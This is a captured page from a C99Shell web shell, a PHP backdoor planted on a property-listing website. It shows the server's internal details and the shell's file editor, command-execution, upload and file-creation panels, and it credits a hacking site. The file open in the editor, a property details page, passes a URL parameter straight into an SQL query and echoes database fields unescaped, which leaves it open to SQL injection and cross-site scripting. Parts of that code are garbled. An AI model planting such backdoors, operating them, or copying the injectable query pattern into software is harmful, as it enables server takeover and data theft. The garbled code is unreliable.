nagariguntha.com - C99Shell

! C99Shell v2025 !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux ip-172-26-8-191 5.10.0-28-cloud-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64 User: daemon Software: Apache IP: 172.26.8.191 PHP: 8.2.16 CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF /opt/bitnami/apache/htdocs/app/property/

! C99Shell v2025 !

Safe-mode: OFF (not secure)

Disable Functions: None

Host: Linux ip-172-26-8-191 5.10.0-28-cloud-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64

User: daemon

Software: Apache

IP: 172.26.8.191

PHP: 8.2.16

CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF

/opt/bitnami/apache/htdocs/app/property/

Edit File: property_details.php

<?php 
include "session.php"; 
//include 'connection.php';
//$user_id=$_SESSION['user_id'];
$rid=$_GET['rid'];
$query_room = "select * from property where pid='$rid'";
$run_query_room = mysqli_query($conn, $query_room) or die(mysqli_error($conn));
$row_room=mysqli_fetch_array($run_query_room);

//$room_price=$row_room['price'];
?>
<!doctype html>
<html lang="en">
  <head>
    
    <meta charset="utf-8">
    <title>Nagari Guntha </title>
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-touch-fullscreen" content="yes">
    <meta name="HandheldFriendly" content="True">
    <link rel="icon" href="favicon.ico" type="image/x-icon">
    
    	<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
		<meta name="mobile-web-app-capable" content="yes">
		<meta name="apple-mobile-web-app-capable" content="yes">
		<meta name="apple-touch-fullscreen" content="yes">
		<meta name="HandheldFriendly" content="True">
		<link rel="icon" href="favicon.ico" type="image/x-icon">
		
		<link rel="stylesheet" href="lib\bootstrap\css\bootstrap.min.css">
		
		
		<link rel="stylesheet" href="css\normalize.css">
		<link rel="stylesheet" href="css\theme.css">
		 
	
		
		<link rel="stylesheet" type="text/css" href="lib\slick\slick\slick.css">
		<link rel="stylesheet" type="text/css" href="lib\slick\slick\slick-theme.css">
		
		<link rel="stylesheet" href="lib\Magnific-Popup-master\dist\magnific-popup.css">
		
		<link href="lib\fontawesome-free-5.10.2-web\css\all.css" rel="stylesheet">
		<script defer="" src="lib\fontawesome-free-5.10.2-web\js\brands.js"></script>
		<script defer="" src="lib\fontawesome-free-5.10.2-web\js\solid.js"></script>
		<script defer="" src="lib\fontawesome-free-5.10.2-web\js\fontawesome.js"></script>
	
	<style>
	
	an1{
		margin-right: 15px;
	}
	 th {
            background-color: #f2f2f2;
        }

tr:hover {
            background-color: #f5f5f5;
        }
	
	body{
		overflow-x:none;
	}
	
	.four-columns {
	
            display: flex;
            justify-content: space-between;
            align-items: center; 
			
        }
        .column {
            flex: 1;
            max-width: 200px!important;
            text-align: center;
        }
        .column img {
            max-width: 80%;
            border-radius: 10px;
        }

.wrapper2 .carouse2{
 display: grid;
  grid-auto-flow: column;
  grid-auto-columns: calc((100% / 3) - 12px);
  overflow-x: auto;
  scroll-snap-type: x mandatory;
  gap: 130px;
  border-radius: 8px;
  scroll-behavior: smooth;
  scrollbar-width: none;
}
	
	.subsite {
    padding: 20px 15px;
    min-height: calc( 100vh - 56px - 70px)!important;
    -webkit-border-radius: 20px;
    -moz-border-radius: 20px;
    border-radius: 20px;
    z-index: 2;
    position: relative;
    background-color: #fff;
}

/* CSS for the card container */
.div2 {
  display: flex;
}

.main-container2 {
	 
      position: unset;
  width: 100%;
  height: 140px;
  border-radius: 10px;
  display: flex;
  flex-direction: column;
  justify-content: center;
}

.card0 {
  height: 60px;
  width: 93%; /* Adjust the percentage as needed */
  margin: 0 auto;
  padding-top: 14px;
  background-color: #1060a7;
  border-radius: 20px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
  display: flex;
  flex-direction: column;
  text-align: center;
  font-family: Arial, sans-serif;
  position: absolute;
}

.rera2 {
  position: absolute;
  width: 50%; 
  margin: 0 auto;
  height: 30px;
  bottom: 47px;
  right: 0;
  margin-right: 10px;
  background-color: #37b44a;
  border-radius: 10px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);

}
/* Styling for "Vastu North Facing" */
@media (max-width: 1200px) {
.vastu-text2 {
  font-size: 5.3vw;
  font-weight: bold;
  color: #ffffff;
  text-transform: uppercase;
  justify-content: center;
  align-items: center;
  font-family: Arial, sans-serif;
  text-align: center; 
  margin: 0; 
  padding: 0; 
 
}

@media (max-width: 1200px) {
.rera-text2 {
	font-size: 3.2vw;
	color: #ffffff;
	padding-top:4.4px;
	font-weight: bold;
	text-transform: uppercase;
	justify-content: center;
	align-items: center;
	text-align: center;
	font-family: Arial, sans-serif;
 
}
.data{
	position: absolute;
	width: 97%;
	 align-items: center;
     justify-content: center;
	 position: absolute;
	 width:100%;
	 box-sizing: border-box;
	 padding-top: 120px;
	}

@media (max-width: 1200px) {
	 
	 .scb-left{
		     margin-top: 10px;
			 margin: -10px;
	 }
	 
	 
	 
.gallery1 {
	width: 97%;
	display:flex;
	justify-content:space-between;
}
.pic {
	flex:1;
	width: 20%;
	height:80px;
	background-position:center;
	background-repeat: no-repeat;
	background-size: cover;
	margin-right: 15px;
	
}
.photo1{
Background-image: url(1.png);
}
.photo2{
Background-image: url(2.png);
}
.photo3{
Background-image: url(3.png);
}
.photo4{
Background-image: url(4.png);
}

.sas-title {
    color: #2450a6;
    font-size: 18px;
    margin-bottom: 5px;
    font-weight: 600;
	margin: 5px;
}
    /* This CSS will center the icons and text vertically and horizontally */
    .icon-container {
      align-items: left;
      justify-content: left;
    }
	
	.accordion>.card .card-header {
    margin-bottom: 0!important;
}

.d-none {
    display: flex!important;
}

.icon {
      width: 24px;
      height: 24px;
    }

.text {
      margin-left: 10px;
    }
	
	#content .img-hero .slick-slide img {
    width: 100%;
    height:auto;
	}
	
	iframe{
		 width: 100%;
	height: 400px;
	
	}
	
	#content .img-hero .slick-slide img {
    width: 100%;
    height: auto;
    border-radius: 12%;
	 }
	
	@media screen and (max-width: 1079px) {
	#content .img-hero .slick-slide img {
    width: 100%;
    height: auto;
    border-radius: 12%;
	 height: 400px!important
}
	}

.page-car-single .cs-top .cst-left .subsite-heading {
    font-size: 23px;
    text-align: left;
    padding: 28px 0px;
    line-height: 1.2;
	    margin-bottom: -20px;
}
	 
	 .image-container {
    position: relative;
    display: inline-block;
  }

.share-favorite-buttons {
    position: absolute;
    top: 10px; /* Adjust the top position as needed */
    right: 10px; /* Adjust the right position as needed */
    display: flex;
  }

.share-button,
  .favorite-button {
    margin-left: 10px; /* Adjust the margin between buttons as needed */
    padding: 5px 10px; /* Adjust padding as needed */
    border: none;
    cursor: pointer;
	border-radius: 26px;
    background: #fff;
	height: 35px;
	opacity:0.8;
	
  }
  
  .share-button {
    margin-top: 0px!important;
}

</style>
  </head>

<body class="default">
    
    <div class="preloading">
      <div class="wrap-preload">
        <div class="cssload-loader"></div>
      </div>
    </div>
    
    <?php include "leftsidebar-master.php"; ?>
	<?php include "notification-updates.php"; ?>
	
      
    
      
      <nav class="navbar navbar-expand-lg navbar-light bg-header">
        <div class="container-fluid">
          <button type="button" id="sidebarleftbutton" class="btn">
          <i class="fas fa-align-left"></i>
          </button>
          <div class="logo">Nagari Guntha </div>
          <button type="button" id="sidebarrightbutton" class="btn">
          <div class="notif">
            <i class="fas fa-bell"></i>
            <i class="fas fa-circle "></i>
          </div>
          </button>
        </div>
      </nav>
	  
	  <div id="content">
        <div class="content-wrap page-car-single">
          
          <div class="subsite">
            
           <div class="row">
              <div class="col-md-12">
                <div class="cs-top">
                  <div class="cst-left">
						<div class="subsite-heading">
						  <?php echo $row_room['title']; ?>
						  <br/>
						    <div class="price-value">INR <?php echo $row_room['price']; ?> </div>
                    
						</div>
						<div class="star-rates">
						  <span class="star rated">
							<i class="fas fa-star"></i>
						  </span>
						  <span class="star rated">
							<i class="fas fa-star"></i>
						  </span>
						  <span class="star rated">
							<i class="fas fa-star"></i>
						  </span>
						  <span class="star rated">
							<i class="fas fa-star"></i>
						  </span>
						  <span class="star rated">
							<i class="fas fa-star"></i>
						  </span>
						  <span class="rated-value">5.0</span>
						</div>
					  </div>
					<br/>
                 
                    
                  
                 
                </div>
              </div>
            </div>
            
            
  
            <div class="row">
              <div class="col-md-7">
              	 
			  <b>City:</b> <?php echo $row_room['area']; ?>, <?php echo $row_room['city']; ?><br/>
			 
			   <br/> 
			   
				
			  </div>
			  
			  <div class="col-md-5" style="float:right">
			  <?php  if(isset($login_session))
								{ ?>
							
			  <a class="theme-button" style="color:#fff;" id="shortlist" onclick="show(<?php echo $rid; ?>)">Shortlist Property</a>
							
			   <a style="" href="checkout.php?id=<?php echo $row_room['id']; ?>" class="theme-button">Enquire Now</a>
								<br/><br/><?php } ?> </div>
			  
			  
            </div>
			 
            <div class="row">
              <div class="col-md-12">
                <div class="single-car-box">
                  
                  <div class="scb-right" hidden>
                         <img src="..\website\admin\property\<?php echo $row_room['pimage']; ?>" alt="image" style="width:100%" class="border-radius">
                
                  </div>
				  
				  <div class="img-hero">
						
					
						<div class="image-container">
							<img src="..\website\admin\property\<?php echo $row_room['pimage']; ?>" alt="slider">
							
							<div class="share-favorite-buttons">
							<button class="share-button"><img src="share.png"></button>
							<button class="favorite-button"><img src="fav.png"></button>
						  </div>
						</div>
						
						<div class="image-container">
							<img src="..\website\admin\property\<?php echo $row_room['pimage1']; ?>" alt="slider">
							
							<div class="share-favorite-buttons">
							<button class="share-button"><img src="share.png"></button>
							<button class="favorite-button"><img src="fav.png"></button>
						  </div>
						</div>
						
						<div class="image-container">
							<img src="..\website\admin\property\<?php echo $row_room['pimage2']; ?>" alt="slider">
							
							<div class="share-favorite-buttons">
							<button class="share-button"><img src="share.png"></button>
							<button class="favorite-button"><img src="fav.png"></button>
						  </div>
						</div>
						<div class="image-container">
							<img src="..\website\admin\property\<?php echo $row_room['pimage3']; ?>" alt="slider">
							
							<div class="share-favorite-buttons">
							<button class="share-button"><img src="share.png"></button>
							<button class="favorite-button"><img src="fav.png"></button>
						  </div>
						</div>
						
					</div>
                  <br/>	
				   
	</div>
		</div>
			</div>	
			
    <div class="feature-strip" style="margin-bottom:30px;">
	<div class= "div2">
 <div class="main-container2">  
<div class="card0">
  <div class="vastu-text2">Vastu North Facing
   </div>
    <div class="rera2">
  <div class="rera-text2">Rera Registered
</div> </div> </div> </div> 
<section class="data">           
  <div class="gallery1">
  <div class="pic photo1"></div>
   <div class="pic photo2"></div>
    <div class="pic photo3"></div>
	 <div class="pic photo4"></div>
</div>
</div>
	</div>
<br/>
<br/>
<br/>
<br/>

.feature-container {
    display: grid;
    grid-template-columns: repeat(3, 1fr); /* Default: 3 columns */
    max-width: 100%;
    margin: 0 auto;
}

.feature-strip {
    margin-bottom: 10px;
    padding-bottom: 10px;
}

.feature-item {
    display: flex;
    align-items: center;
    justify-content: flex-start;
    background-color: #bfddf8;
    border-radius: 10px;
   
	margin:4px;
	padding:4px;

}

.feature-icon-wrapper {
    background-color: #ffffff;
    padding: 6px;
    border-radius: 50%;
    display: flex;
    justify-content: center;
    align-items: center;
 
    margin-right: 6px;
}

.feature-icon {
    width: 17px;
    height: 17px;
}

.feature-text {
    font-size: 12px;
    color: #333;
    font-weight: 500;
}

.text222 {
    font-size: 10px;
    color: #666;
    text-align:left;
}

.feature-text-wrapper 
{
display: flex;
        display: flex;
            flex-direction: column;
            text-align: left;
}
/* Media query for screens smaller than 350px */
@media (max-width: 350px) {
    .feature-container {
        grid-template-columns: repeat(3, 1fr); 
        gap: 4px;
        padding: 4px;
    }

.feature-item {
        padding: 4px; 
    }

.feature-icon-wrapper {
        padding: 4px;
        margin-right: 4px;
    }

.feature-icon {
        width: 16px; 
        height: 16px;
    }

.feature-text {
        font-size: 10px; 
    }

.text222 {
        font-size: 9px; 
		   text-align: left;
    }
}

.feature-text-wrapper 
{
display: flex;
        display: flex;
            flex-direction: column;
            text-align: left;
}

</style>

<div class="subsite-heading" style="text-align:left;">
Property Details
</div>
  <div class="feature-strip">
    <div class="feature-container">
        <div class="feature-item">
            <div class="feature-icon-wrapper">
                <img src="icons/bed.png" alt="Bed Icon" class="feature-icon">
            </div>
            <div class="feature-text-wrapper">
                <p class="feature-text">Bed</p>
                <span class="text222"><?php echo $row_room['7'];?></span>
            </div>
        </div>
        <div class="feature-item">
            <div class="feature-icon-wrapper">
                <img src="icons/balcony.png" alt="Balcony Icon" class="feature-icon">
            </div>
            <div class="feature-text-wrapper">
                <p class="feature-text">Balcony</p>
                <span class="text222"><?php echo $row_room['8'];?></span>
            </div>
        </div>
        <div class="feature-item">
            <div class="feature-icon-wrapper">
                <img src="icons/area.png" alt="Area Icon" class="feature-icon">
            </div>
            <div class="feature-text-wrapper">
                <p class="feature-text">A</p>
                <span class="text222"><?php echo $row_room['12'];?>&nbspSqft</span>
            </div>
        </div>
        <div class="feature-item">
            <div class="feature-icon-wrapper">
                <img src="icons/bathroom.png" alt="Bathroom Icon" class="feature-icon">
            </div>
            <div class="feature-text-wrapper">
                <p class="feature-text">Bathroom</p>
                <span class="text222"><?php echo $row_room['8'];?></span>
            </div>
        </div>
        <div class="feature-item">
            <div class="feature-icon-wrapper">
                <img src="icons/hall.png" alt="Hall Icon" class="feature-icon">
            </div>
            <div class="feature-text-wrapper">
                <p class="feature-text">Hall</p>
                <span class="text222"><?php echo $row_room['10'];?></span>
            </div>
        </div>
        <div class="feature-item">
            <div class="feature-icon-wrapper">
                <img src="icons/kitchen.png" alt="Kitchen Icon" class="feature-icon">
            </div>
            <div class="feature-text-wrapper">
                <p class="feature-text">Kitchen</p>
                <span class="text222"><?php echo $row_room['9'];?></span>
            </div>
        </div>
    </div>
</div>

<BR/>

<div class="subsite-heading" style="text-align:left;">
Other Details
</div><br/>
<table class="w-100" border="1">
                                    <tbody>
                                        <tr>
                                            <td>BHK :</td>
                                            <td class="text-capitalize"><?php echo $row_room['4'];?></td>
                                            <td> Type :</td>
                                            <td class="text-capitalize"><?php echo $row_room['3'];?></td>
                                        </tr>
                                        <tr>
                                            <td>Floor :</td>
                                            <td class="text-capitalize"><?php echo $row_room['11'];?></td>
                                            <td>Total Floor :</td>
                                            <td class="text-capitalize"><?php echo $row_room['28'];?></td>
                                        </tr>
                                        <tr>
                                            <td>City :</td>
                                            <td class="text-capitalize"><?php echo $row_room['15'];?></td>
                                            <td>State :</td>
                                            <td class="text-capitalize"><?php echo $row_room['16'];?></td>
                                        </tr>
                                        
                                    </tbody>
                                </table>
 </div>

<br/>

<div class="subsite-heading" style="text-align:left;">
&nbsp;&nbsp;&nbsp;Features
</div>		
                            <p><?php echo $row_room['17'];?></p>
							
							<?php  if(isset($login_session))
								{ ?>
									 <a style="width: 100%;text-align: center;" href="checkout.php" class="theme-button">Enquire Now</a>
  
							<?php } ?>

<br/> 
     <div class="subsite-heading" style="text-align:left;">
&nbsp;&nbsp;&nbsp;Floor Plans
</div>

background: #e0e0e0;
  box-shadow: 15px 15px 30px #bebebe,
             -15px -15px 30px #ffffff;
 }
 </style>
 
 <div class="scb-left">
 <div class="container">
 <div class="me">
      <div class="accordion accordion-03 mb-3" id="accordion-04" >
      <div class="card border-1 shadow-xxs-2" >
         <div class="card-header bg-gray-01 border-gray border-0 p-0" id="floor-plans-04">
            <div style="height: 45px;background; padding-left:5px; #fff;color: #1060a7;border: 1px solid #37b44a;"class="heading d-flex justify-content-between align-items-center px-6" data-toggle="collapse" data-target="#collapse-04" aria-expanded="true" aria-controls="collapse-04" role="button">
               <h2 class="mb-0 fs-16 text-heading font-weight-500 py-4 lh-13" style="font-size:17px;">3D Plan</h2>
               <ul class="list-inline mb-0 d-none d-sm-block pr-2">
                   <li class=" list-inline-item text-muted mr-4"><img class="icon" src="icons/11.png">2</li>  
                  <li class=" list-inline-item text-muted mr-4"><img class="icon" src="icons/11.png">2</li>  
                   <li class=" list-inline-item text-muted mr-4"><img class="icon" src="icons/11.png">200 sq Ft</li> 
               </ul>
            </div>
         </div></div>
         <div id="collapse-04" class="collapse show" aria-labelledby="floor-plans-04" data-parent="#accordion-04">
            <div class="card-body card-body col-sm-6 offset-sm-3 mb-3" style="background: #fbf8f8;">
               <img src="../website/admin/property/<?php echo $row_room['25'];?>" class="card-img" alt="Floor Plans">
            </div>
         </div>
      </div>
   </div>
   
   <div class="accordion accordion-03 mb-3" id="accordion-01">
      <div class="card border-0 shadow-xxs-2">
         <div class="card-header bg-gray-01 border-gray border-0 p-0" id="floor-plans-01">
            <div style="height: 45px;padding-left:5px;background: #fff;color: #1060a7;border: 1px solid #37b44a;"class="heading d-flex justify-content-between align-items-center px-6" data-toggle="collapse" data-target="#collapse-01" aria-expanded="true" aria-controls="collapse-01" role="button">
               <h2 class="mb-0 fs-16 text-heading font-weight-500 py-4 lh-13" style="font-size:17px;">Basement Floor</h2>
               <ul class="list-inline mb-0 d-none d-sm-block pr-2">
                 <li class=" list-inline-item text-muted mr-4"><img class="icon" src="icons/11.png">2</li>  
                  <li class=" list-inline-item text-muted mr-4"><img class="icon" src="icons/11.png">2</li>  
                   <li class=" list-inline-item text-muted mr-4"><img class="icon" src="icons/11.png">200 sq Ft</li> 
               </ul>
            </div>
         </div>
         <div id="collapse-01" class="collapse " aria-labelledby="floor-plans-01" data-parent="#accordion-01">
            <div class="card-body card-body col-sm-6 offset-sm-3 mb-3">
               <img src="../website/admin/property/<?php echo $row_room['26'];?>" class="card-img" alt="Floor Plans">
            </div>
         </div>
      </div>
   </div>
   <div class="accordion accordion-03 mb-3" id="accordion-02">
      <div class="card border-0 shadow-xxs-2">
         <div class="card-header bg-gray-01 border-gray border-0 p-0" id="floor-plans-02">
            <div style="height: 45px;padding-left:5px;background: #fff;color: #1060a7;border: 1px solid #37b44a;" class="heading d-flex justify-content-between align-items-center px-6 collapsed " data-toggle="collapse" data-target="#collapse-02" aria-expanded="true" aria-controls="collapse-02" role="button">
               <h2 class="mb-0 fs-16 text-heading font-weight-500 py-4 lh-13" style="font-size:16px;">Groud Floor</h2>
               <ul class="list-inline mb-0 d-none d-sm-block pr-2">
                 <li class=" list-inline-item text-muted mr-4"><img class="icon" src="icons/11.png">2</li>  
                  <li class=" list-inline-item text-muted mr-4"><img class="icon" src="icons/11.png">2</li>  
                   <li class=" list-inline-item text-muted mr-4"><img class="icon" src="icons/11.png">200 sq Ft</li> 
               </ul>
            </div>
         </div>
         <div id="collapse-02" class="collapse " aria-labelledby="floor-plans-02" data-parent="#accordion-02">
            <div class="card-body card-body col-sm-6 offset-sm-3 mb-3">
               <img src="../website/admin/property/<?php echo $row_room['27'];?>" class="card-img" alt="Floor Plans">
            </div>
         </div>
      </div>
   </div>

</section>
</div></div>
				</div>
 </div>

<?php include "view-nearbysolution.html"; ?>

<?php //include "share.php"; ?>
					<?php include "recent-news.php"; ?>
						<br/>
			<?php include "recent-properties.php"; ?>
			
			<div class="container">
			
			<div align="center">
	
<?php  include "rating-page.php"; ?>
</div>

<?php include "bottompanel-master.php"; ?>
		
	
 
      
      <div class="overlay"></div>
      
      
      <script src="lib\jquery\jquery-3.4.1.min.js"></script>
      
      <script src="lib\bootstrap\js\bootstrap.min.js"></script>
      
      <script src="lib\Magnific-Popup-master\dist\jquery.magnific-popup.js"></script>
      
      <script src="lib\slick\slick\slick.min.js"></script>
      
      <script src="lib\gijgo\js\gijgo.min.js" type="text/javascript"></script>
      
      <script src="js\theme.js"></script>
	  <script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
	  
	  
	  
	      <script src="https://unpkg.com/swiper/swiper-bundle.min.js"></script>
			<script>
				var swiper = new Swiper('.swiper-container', {
					slidesPerView: 'auto',
					spaceBetween: 20,
					pagination: {
						el: '.swiper-pagination',
						clickable: true,
					},
				});
			</script>
	  
    <script>
	      let isDragging = false;
        let startX, currentX;

function startDrag(e) {
            isDragging = true;
            startX = e.clientX;
        }

function endDrag() {
            isDragging = false;
        }

function drag(e) {
            if (!isDragging) return;
            currentX = e.clientX - startX;
            const cardCarousel = document.querySelector('.card-carousel');
            cardCarousel.style.transform = `translateX(${currentX}px)`;
        }

let currentIndex = 0;

function showSlide(index) {
            const cardCarousel = document.querySelector('.card-carousel');
            const cardWidth = document.querySelector('.card').offsetWidth;
            cardCarousel.style.transform = `translateX(${-index * cardWidth}px)`;
        }

function nextSlide() {
            const totalCards = document.querySelectorAll('.card').length;
            currentIndex = (currentIndex + 1) % totalCards;
            showSlide(currentIndex);
        }

function prevSlide() {
            const totalCards = document.querySelectorAll('.card').length;
            currentIndex = (currentIndex - 1 + totalCards) % totalCards;
            showSlide(currentIndex);
        }
    </script>
	  
	  
	  
	  
	  <script>
const wrapper = document.querySelector(".wrapper");
const carousel = document.querySelector(".carousel");
const firstCardWidth = carousel.querySelector(".card").offsetWidth;
const arrowBtns = document.querySelectorAll(".wrapper i");
const carouselChildrens = [...carousel.children];

let isDragging = false, isAutoPlay = true, startX, startScrollLeft, timeoutId;

// Get the number of cards that can fit in the carousel at once
let cardPerView = Math.round(carousel.offsetWidth / firstCardWidth);

// Insert copies of the last few cards to beginning of carousel for infinite scrolling
carouselChildrens.slice(-cardPerView).reverse().forEach(card => {
    carousel.insertAdjacentHTML("afterbegin", card.outerHTML);
});

// Insert copies of the first few cards to end of carousel for infinite scrolling
carouselChildrens.slice(0, cardPerView).forEach(card => {
    carousel.insertAdjacentHTML("beforeend", card.outerHTML);
});

// Scroll the carousel at appropriate postition to hide first few duplicate cards on Firefox
carousel.classList.add("no-transition");
carousel.scrollLeft = carousel.offsetWidth;
carousel.classList.remove("no-transition");

// Add event listeners for the arrow buttons to scroll the carousel left and right
arrowBtns.forEach(btn => {
    btn.addEventListener("click", () => {
        carousel.scrollLeft += btn.id == "left" ? -firstCardWidth : firstCardWidth;
    });
});

const dragStart = (e) => {
    isDragging = true;
    carousel.classList.add("dragging");
    // Records the initial cursor and scroll position of the carousel
    startX = e.pageX;
    startScrollLeft = carousel.scrollLeft;
}

const dragging = (e) => {
    if(!isDragging) return; // if isDragging is false return from here
    // Updates the scroll position of the carousel based on the cursor movement
    carousel.scrollLeft = startScrollLeft - (e.pageX - startX);
}

const dragStop = () => {
    isDragging = false;
    carousel.classList.remove("dragging");
}

const infiniteScroll = () => {
    // If the carousel is at the beginning, scroll to the end
    if(carousel.scrollLeft === 0) {
        carousel.classList.add("no-transition");
        carousel.scrollLeft = carousel.scrollWidth - (2 * carousel.offsetWidth);
        carousel.classList.remove("no-transition");
    }
    // If the carousel is at the end, scroll to the beginning
    else if(Math.ceil(carousel.scrollLeft) === carousel.scrollWidth - carousel.offsetWidth) {
        carousel.classList.add("no-transition");
        carousel.scrollLeft = carousel.offsetWidth;
        carousel.classList.remove("no-transition");
    }

// Clear existing timeout & start autoplay if mouse is not hovering over carousel
    clearTimeout(timeoutId);
    if(!wrapper.matches(":hover")) autoPlay();
}

const autoPlay = () => {
    if(window.innerWidth < 800 || !isAutoPlay) return; // Return if window is smaller than 800 or isAutoPlay is false
    // Autoplay the carousel after every 2500 ms
    timeoutId = setTimeout(() => carousel.scrollLeft += firstCardWidth, 2500);
}
autoPlay();

carousel.addEventListener("mousedown", dragStart);
carousel.addEventListener("mousemove", dragging);
document.addEventListener("mouseup", dragStop);
carousel.addEventListener("scroll", infiniteScroll);
wrapper.addEventListener("mouseenter", () => clearTimeout(timeoutId));
wrapper.addEventListener("mouseleave", autoPlay);</script>

// Check if the link exists
    if (link) {
        // Programmatically click the link
        link.click();
    }
});

}
 
	  </script>
	  
	  
    </body>
  </html>

Cancel

Listing directory:

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ C99Shell v2025 (01.07.2025) powered by V4NTA | https://privdayz.com | Generation time: 1775425805.4332 ]--